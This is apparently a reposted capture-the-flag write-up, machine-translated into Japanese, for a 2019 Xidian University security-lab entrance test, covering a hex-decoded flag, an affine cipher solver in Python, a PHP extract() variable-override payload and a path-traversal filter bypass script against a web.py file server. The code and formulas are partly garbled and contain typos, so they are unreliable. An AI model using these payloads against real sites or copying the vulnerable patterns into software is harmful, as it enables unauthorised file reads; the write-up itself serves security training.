2019西電網安実験班選抜試験

8016 ワード

1.FirstBlood
class="reveal-modal" style="display: none;">

のメッセージ



:FirstBl00d



: 300


FLAG: 3



class="close-reveal-modal">×

url/indexにアクセスします.php/user/updatevoice?voice=FirstBlood
2.16進数文字列
テーマを開き、ヒント:
これは16進数の文字列で、解いてからflagがどこにあるか知っています666 c 61675 f 69735 f 686572657 b 326534623103234613763386 33534323396336376130646333663432302 e 7068707 d
上の数字を直接hex変換器に投げ込んで文字に変換します
 
3.アフィニティパスワード
密文:yfsfnhtzlsrftclhwrffonw
このシミュレーションではa=15,b=23
得られた明文を提出します.
シミュレーションパスワード規則は、c=(m*a+b)%26
明文を得るには、m=(c-b*a^(-1))%26
アルゴリズム:
#coding=utf-8 
#  
def egcd(a, b): 
if a == 0: 
return (b, 0, 1)
 else:
g, y, x = egcd(b % a, a)
 return (g, x - (b // a) * y, y)
 #  
def modinv(a, m): 
g, x, y = egcd(a, m) 
if g != 1: 
raise Exception('modular inverse does not exist') 
else:
return x % m
 #  
def eular(n): 
count = 0 
for x in xrange(0,n): 
g,x,y = egcd(x,n) 
if g == 1:
 count = count + 1 
return count 
#   
def Affine_cipher(ciphertext,a,b): 
plantext = ''
 #  
 fa = modinv(a,26) for x in ciphertext: 
if x == ' ': 
plantext += ' '
 continue plantext += chr(ord('a')+((ord(x)-b)-ord('a'))*fa%26) 
return plantext

キーを呼び出して明文を出す
4.変数オーバーライド
php
$filename = 'x';
extract($_GET);
if(!empty($attempt))
{
    $conbination = trim(file_get_contents($filename));
    if ($attempt === $conbination)
    {
        echo "

neirong" . "$conbination!?

"; require("flag.php"); echo "

congratulation,key is:" . "$flag

"; } else { echo "

Incorrenr!

"; } } ?>

 
payload:url?attempy=&filename=flag.php
 
5.web.py
def GET(self,filepath):
    if filepath.find("flag")>-1:
        return "Hacker"
    filepath = filepath.replace("../","")
    try:
        with open("./uploads/%s" % filepath,"rb") as f:
            content = f.read()
        return content
    except:
        return web.notfound("Sorry,the file you were looking for was not found.")

 
exp:
from requests import get

def get_flag():
    url = ""
    payload = url + ".../...//.../...//fla../g.txt"
    flag = get(payload).content
    return flag

if __name__ == "__main__":
    flag = get_flag()
    
    print "[x] flag :" +flag

 
 
転載先:https://www.cnblogs.com/sylover/p/11299295.html